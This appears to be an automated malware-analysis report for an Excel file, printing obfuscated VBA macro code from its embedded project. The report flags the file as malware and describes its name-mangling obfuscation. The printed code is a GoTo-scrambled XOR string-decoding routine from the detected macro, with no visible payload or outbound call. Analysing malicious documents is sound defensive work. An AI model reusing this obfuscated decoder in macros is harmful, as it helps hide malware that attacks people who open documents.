gxjnNBztKIfAZfbnq = "bclvqTjVpjZEN"
GoTo DsMDuHRAAoaBYkygxnNBztKIfAZfb
KYjDQEqRonOwNzDePJcZvQqiepGVrfoL:
FLSxKJaegYxMEpQtVbolThGGirDfzeCUuUg = "sbisyuGQtvEc"
GoTo bzdHFncwndrB
oJLUsaDSzFZhCxxwBmfmQrdtwzrPtYHDMDuHRAAoaBYky:
MRCvChutJMPHhvoZGId = "KYjDQEqonOwNzDeE"
GoTo xjnNBztKIfAfbnqFbclvqTjBVpjZENORCvChutJMPHhvoZGId
xjnNBztKIfAfbnqFbclvqTjBVpjZENORCvChutJMPHhvoZGId:
JcZvQqiepGVrfoLGkmS = "sApUfd"
GoTo KYjDQEqRonOwNzDePJcZvQqiepGVrfoL
RonOwNzDeEPJcvQqiepGVrfoLGkmSmsAp:
fourth(wzctQ7ezi) = fourth(wzctQ7ezi) Xor nPBVRzqyY(Temp + nPBVRzqyY((third + nPBVRzqyY(third)) Mod 254))
GoTo efdiFLSxKJaegYxMEpQZVbolThGGirDfze
ACjpIQFlhhglVdkAbaqg:
FLSxKJaegYxMEpQtVbolThGGirDfzeCUuUg = "sbisyuGQtvEc"
GoTo kQYyHTwPuSlx
VdkAbaqgjbzdFncwndrBkkQYyHTwPSlxlicurOyIOKQ:
gxjnNBztKIfAZfbnq = "bclvqTjVpjZEN"
GoTo oJLUsaDSzFZhCxxwBmfmQrdtwzrPtYHDMDuHRAAoaBYky
kQYyHTwPuSlx:
JcZvQqiepGVrfoLGkmS = "sApUfd"
GoTo icurOyIOKQno
bzdHFncwndrB:
Next wzctQ7ezi
GoTo RonOwNzDeEPJcvQqiepGVrfoLGkmSmsApefdiFLSxKJaegYxMEpQZ:
PJcZvQqiepGVrfoLkmSmsApUefdiFLSxJaegYxMEpQZtVbolT:
gasbyisyuGQmtvEcQACj = "IQFlhgl"
GoTo GGirDfzeCUugasbyisyuGQmtvEcQAC
RonOwNzDeEPJcvQqiepGVrfoLGkmSmsApefdiFLSxKJaegYxMEpQZ:
tKIfAZfbnqFbclvqTBVpjZENOMRCvChut = "MPHhvoZGdFKYjDQE"
GoTo VdkAbaqgjbzdFncwndrBkkQYyHTwPSlxlicurOyIOKQoJLUsaDSzFZh
wndrBkkQYyTwPuSlxlicurOyIOK:
gasbyisyuGQmtvEcQACj = "IQFlhgl"
GoTo noJLUsaDSzFZhQCxxwBmmQrdtwzrPtY
DsMDuHRAAoaBYkygxnNBztKIfAZfbqFbdmwrTkCQq:
xlicurOyIOKQnoJL = "saDSzFZhQCxwBmfm"
GoTo aFOONSDwDivu
GGirDfzeCUugasbyisyuGQmtvEcQAC:
BTCR7QLH4 = StrConv(fourth, vbUnicode)
GoTo pIQFlhhglVdAbaqgjbzdHFn
VdkAbaqgjbzdFncwndrBkkQYyHTwPSlxlicurOyIOKQoJLUsaDSzFZh:
rdtwzrPtYHDsMDuHRAA = "aBYkgxjnNB"
GoTo CxxwBmfmQrdtwzrPtYHDMDuHRAAoaBYkyxjnNBztKIfA
aFOONSDwDivu:
rdtwzrPtYHDsMDuHRAA = "aBYkgxjnNB"
GoTo NQIhwpZHJeGLZjERF
CxxwBmfmQrdtwzrPtYHDMDuHRAAoaBYkyxjnNBztKIfA:
xlicurOyIOKQnoJL = "saDSzFZhQCxwBmfm"
GoTo fbnqFbclvqTjBVpjZENORCvChutJMPHhvoZGIdKYjDQEqRonOwNzDe
NQIhwpZHJeGLZjERF:
tKIfAZfbnqFbclvqTBVpjZENOMRCvChut = "MPHhvoZGdFKYjDQE"
GoTo VbolThGGirDfzeUuUgasbyisyuGQmtEcQACjpIQFlhhg
fbnqFbclvqTjBVpjZENORCvChutJMPHhvoZGIdKYjDQEqRonOwNzDe:
dkAbaqgjbzdHFncwndrB = "kQYHTwPuS"
GoTo PJcZvQqiepGVrfoLkmSmsApUefdiFLSxJaegYxMEpQZtVbolT
pIQFlhhglVdAbaqgjbzdHFn:
GoTo wndrBkkQYyTwPuSlxlicurOyIOK
noJLUsaDSzFZhQCxxwBmmQrdtwzrPtY:
dkAbaqgjbzdHFncwndrB = "kQYHTwPuS"
GoTo DsMDuHRAAoaBYkygxnNBztKIfAZfbqFbdmwrTkCQq
VbolThGGirDfzeUuUgasbyisyuGQmtEcQACjpIQFlhhg:
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 48128 bytes |
SHA-256: 47b82542c54de6a5afbee85915b85167b9ff942727c085a886bb20a51f49b448 |
|||
|
Detection
ClamAV:
Xls.Malware.Generic-6834349-0
Obfuscation or payload:
likely
327 of 511 identifiers look randomly generated (e.g. 'VdkAbaqgjbzdFncwndrBkkQYyHTwPSlxlicurOyI') — consistent with name-mangling obfuscation.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.